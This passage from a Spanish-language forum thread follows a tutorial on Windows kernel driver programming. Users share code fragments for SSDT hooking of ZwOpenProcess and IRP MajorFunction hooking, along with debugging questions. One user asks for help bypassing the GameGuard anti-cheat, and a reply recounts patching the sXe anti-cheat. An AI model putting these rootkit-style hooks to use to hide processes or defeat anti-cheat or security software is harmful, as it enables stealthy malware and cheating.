{
   _asm cli
   (PZwOpenProcess)(SYSTEMSERVICE(ZwOpenProcess)) = ZwOpenProcessIni;
   _asm sti
}

// SYSTEMSERVICE es la macro que se describe en este hilo

Saludos.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Zzombi en 20 Marzo 2010, 01:53 am
He estado siguiendo con mucho interés este hilo y me ha parecido muy bueno. Doy las gracias sinceras a Hendrix por su trabajo y darme la oportunidad de aprender a programas drivers.

He hecho prácticas con el Hook a ZwOpenProcess y me a funcionado bien.
Saludos.

PD:
Quisiera aportar al hilo otra forma de conseguir un Hook, por ejemplo a la misma API mencionada:

Código:
VOID Hook()
{
   _asm cli
   ZwOpenProcessIni =(PZwOpenProcess)(SYSTEMSERVICE(ZwOpenProcess));
   (PZwOpenProcess)(SYSTEMSERVICE(ZwOpenProcess)) = NewZwOpenProcess;
   _asm sti
}

VOID UnHook()
{
   _asm cli
   (PZwOpenProcess)(SYSTEMSERVICE(ZwOpenProcess)) = ZwOpenProcessIni;
   _asm sti
}

// SYSTEMSERVICE es la macro que se describe en este hilo

Saludos.

me funciono perfecto!! gracias escabe


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Horricreu en 16 Julio 2010, 18:11 pm
El enlace del DebugView está roto. Dejo un enlace a continuación:

Código:
http://technet.microsoft.com/en-us/sysinternals/bb896647.aspx

Saludos :P


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Distorsion en 6 Agosto 2010, 16:14 pm
Muy buen texto, me ha entrado el gusanillo.

Mi pregunta es si ai por aí alguna lista de las apis que se pueden llamar en modo kernel para encontrar equivalentes a las de modo usuario, por ejemplo encontrar la equivalente a GetProcessId().

Gracias por la aportación ;-)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 7 Agosto 2010, 04:48 am
Muy buen texto, me ha entrado el gusanillo.

Mi pregunta es si ai por aí alguna lista de las apis que se pueden llamar en modo kernel para encontrar equivalentes a las de modo usuario, por ejemplo encontrar la equivalente a GetProcessId().

Gracias por la aportación ;-)

Pues no lo se, hay una lista de API's para modo kernel aquí: http://jedi-apilib.sourceforge.net/native/NativeList.html

Y para lo que tu pides, puedes desensamblar la API con el WinDbg para ver las llamadas a API's del kernel y sus parámetros.

Un Saludo  :)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Distorsion en 7 Agosto 2010, 15:58 pm
Si a alguien le interesa un visor de APIs hookeadas que funcione con win7 es el RootKit Hook analizer.
 ;D



Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Distorsion en 17 Agosto 2010, 16:26 pm
Hola,
estoy intentando hacer un hook en un driver, cambiando una dirección de los MAJORS, el problema es que cuando lo hago se cuelga el sistema.

No se si es porque no obtengo bien la dirección del MAJOR o por el cambio de dirección del MAJOR o por la función propia que sustituyo con el hook.

Se que con el memoryze puedo ver las direcciones de los drivers y sus MAJORS así ya descartaría la primera posibilidad, pero no funciona con el windows 7.

Alguien sabría algún programa parecido que funcione en windows 7?

Por cierto Virtual pc más windbg y driver cargado con osrloader me peta la VM :S

He visto en codigos cosas parecidas a estas:
InterlockedExchangePointer(&Driver->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL],HookDriver);

Seria lo mismo que esto verdad:

Driver->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = HookDriver;

Saludos.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 19 Agosto 2010, 11:53 am
Hola,
estoy intentando hacer un hook en un driver, cambiando una dirección de los MAJORS, el problema es que cuando lo hago se cuelga el sistema.

No se si es porque no obtengo bien la dirección del MAJOR o por el cambio de dirección del MAJOR o por la función propia que sustituyo con el hook.

Se que con el memoryze puedo ver las direcciones de los drivers y sus MAJORS así ya descartaría la primera posibilidad, pero no funciona con el windows 7.

Alguien sabría algún programa parecido que funcione en windows 7?

Por cierto Virtual pc más windbg y driver cargado con osrloader me peta la VM :S

He visto en codigos cosas parecidas a estas:
InterlockedExchangePointer(&Driver->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL],HookDriver);

Seria lo mismo que esto verdad:

Driver->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = HookDriver;

Saludos.

Aquí hay un texto sobre lo que pides (IRP Hooking): http://www.rootkit.com/newsread.php?newsid=846



Título: Re: Introducción a la programación de drivers en Windows
Publicado por: gil8250 en 24 Agosto 2010, 00:21 am
hola, estuve leyendo el tuto, por que estoy interesado en hacer un bypass al gameguard, para 9 dragons, ya que el gameguard hace hook al proceso del cliente, y no permite ver la memoria o modificarla , simplemente lo oculta de la lista de procesos,

una cosa es unhookear el gameguard,  pero el mismo hace chekeos para  ver si los hook estan activos,

crees que haya un manera de hacerlo y hacerle creer al gameguard que aun estan los hook activos,


gracias,  agradezco cualquier ayuda ;-)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 24 Agosto 2010, 12:49 pm
hola, estuve leyendo el tuto, por que estoy interesado en hacer un bypass al gameguard, para 9 dragons, ya que el gameguard hace hook al proceso del cliente, y no permite ver la memoria o modificarla , simplemente lo oculta de la lista de procesos,

una cosa es unhookear el gameguard,  pero el mismo hace chekeos para  ver si los hook estan activos,

crees que haya un manera de hacerlo y hacerle creer al gameguard que aun estan los hook activos,


gracias,  agradezco cualquier ayuda ;-)

Ya comenté en otros posts, que Meek y yo estuvimosintentando parchear el sXe, en modo Kernel y en modo usuario, y al final la solución la encontramos en modo usuario, parcheando algunas funciones del mismo sXe, no se como funciona el GameGuard, pero supongo que se le podrá hacer lo mismo.

Un Saludo


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Distorsion en 2 Septiembre 2010, 16:51 pm
Tengo un problemilla con el siguiente codigo, es sencillo pero me da un pantallazo azul  >:(
Código:

PFILE_OBJECT FileObject;

PsReferenceProcessFilePointer(PsGetCurrentProcess(),&FileObject);


PsGetCurrentProcess() me devuelve el resultado correcto y no da problemas pero al usar PsReferenceProcessFilePointer pues pantallazo azul.


Saludos.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Distorsion en 4 Septiembre 2010, 18:44 pm
Medio solucionado.

Ahora solo me peta aveces  ;D


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Distorsion en 10 Septiembre 2010, 15:23 pm
Haber si alguien sabe echarme una mano.

Intento obtener la ruta del archivo desde un PFILE_OBJECT, entonces si hago esto:

Código:
if (IoQueryFileDosDeviceName(FileObject,&wcFilePath)==STATUS_SUCCESS)
           DbgPrint("Ruta archivo: %s .\n",wcFilePath->Name.Buffer);

Si hago esto funciona bien pero de vez en cuando me da un pantallazo azul muy bonito el IoQueryFileDosDeviceName(FileObject,&wcFilePath).

Así que intento evitar esta API y hago lo siguiente:
Código:
DbgPrint("Ruta archivo: %s .\n",FileObject->FileName.Buffer);

Y cual es mi sorpresa? Que solo imprime una barra :huh:

Haber si alguien me ayuda.

Gracias.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: bizco en 10 Septiembre 2010, 15:44 pm
pq es unicode, cambia el %s.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Distorsion en 10 Septiembre 2010, 18:11 pm
Ya lo he probado con el %ws y el 'L' delante de todo y sale lo mismo :-[


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: bizco en 10 Septiembre 2010, 18:32 pm
pon todo el codigo.

Citar
Pointer to a wide-character string. Note that the strings returned by the various LSA functions might not be null terminated.


puede que sea eso lo que te crea problema, prueba con %wZ con el UNICODE_STRING.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Hendrix en 10 Septiembre 2010, 20:50 pm
Para evitar pantallazos, intenta esto:

Código
  1.  
  2. __try{
  3. //Aqui tu codigo
  4.  
  5. }__except(EXCEPTION_EXECUTE_HANDLER){
  6. NtStatus = GetExceptionCode();
  7. DbgPrint("Exception: %d.\n", NtStatus);
  8. }
  9.  

De todos modos:


- RtlUnicodeStringToAnsiString (http://msdn.microsoft.com/en-us/library/ms648421%28VS.85%29.aspx)

Ejemplo:

Código
  1. ANSI_STRING aStr;
  2.  
  3. RtlUnicodeStringToAnsiString(&aStr,CadenaUnicode,TRUE);
  4.  


Un Saludo  ;)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Distorsion en 11 Septiembre 2010, 20:13 pm
Código:

NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS       ntStatus;
PIO_STACK_LOCATION IoStack=IoGetCurrentIrpStackLocation(Irp);

PFILE_OBJECT FileObject;
POBJECT_NAME_INFORMATION wcFilePath;
ANSI_STRING aStr;

if (PsReferenceProcessFilePointer(PsGetCurrentProcess(),&FileObject)==STATUS_SUCCESS)
{
__try{
if (IoQueryFileDosDeviceName(FileObject,&wcFilePath)==STATUS_SUCCESS)
{
DbgPrint("Ruta archivo: %ws .\n",wcFilePath->Name.Buffer);
}
else
{
DbgPrint("Ruta archivo: %ws .\n",FileObject->FileName.Buffer);
}
}__except(EXCEPTION_EXECUTE_HANDLER){
ntStatus = GetExceptionCode();
DbgPrint("Exception: %d.\n", ntStatus);
}



}


Este es el codigo, controlar las excepciones no me sirve de nada porque me da pantallazo azul igual :-(

Con el %wZ sige mostrando la barra y transformando la cadena con RtlUnicodeStringToAnsiString me devuelve un punto en vez de una barra.

Lo raro aparte del cuelgue de IoQueryFileDosDeviceName es que no me imprima 'Ruta archivo:' solo una barra.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Distorsion en 23 Septiembre 2010, 22:02 pm
Estoy liado con la comunicación entre modo kernel y user  >:D

Tal como esta en el ejemplo puedes dar una orden desde modo user y al acabar la operación en el kernel devolver un resultado ya que segun creo la funcion:
DeviceIoControl(hDevice,(DWORD)Escribe,iBuffer,(DWORD)sizeof(iBuffer),(LPVOID)oBuffer,(DWORD)sizeof(oBuffer),&a,NULL)==true)

es bloqueante y espera a que desde el kernel se envié una repuesta.

Pero yo soy un caprichoso y me gustaría al revés, que el kernel enviara un int y se quedara esperando la respuesta del modo usuario, otro int. Pero claro creo que con el DeviceIoControl no es posible.

A alguien se le ocurre algo?¿
 ;)
 


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: bizco en 23 Septiembre 2010, 23:14 pm
Create un evento y con readfile lees los datos desde modo usuario.


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: Miseryk en 31 Diciembre 2010, 12:21 pm
Hola a to2, se viene el 2011 :O y se aproxima el 2012 :):):):):):), no he podido descargar ni encontrar esta herramienta, "WinDbg", otra cosa, cómo puedo hacer para saber el OffsetFlink y el OffsetBlink, son &H88 y &H8C? Desde yá muchas gracias y feliz año. (Y)


Título: Re: Introducción a la programación de drivers en Windows
Publicado por: wachi en 9 Diciembre 2011, 03:02 am
hola a todos ,desde hace un tiempo para aca me estoy introduciendo a la programacion de drivers,ya me he leido el tute de Hendrix ,el cual esta muy bueno,peor quiero hacerles una pregunta ,existe algun IDE para programar los driver que tenga ayuda inteligente (es decir que cuando yo de Ctrl + Space) me salgan las funciones de las diferentes librerias ?????

gracias de antemano......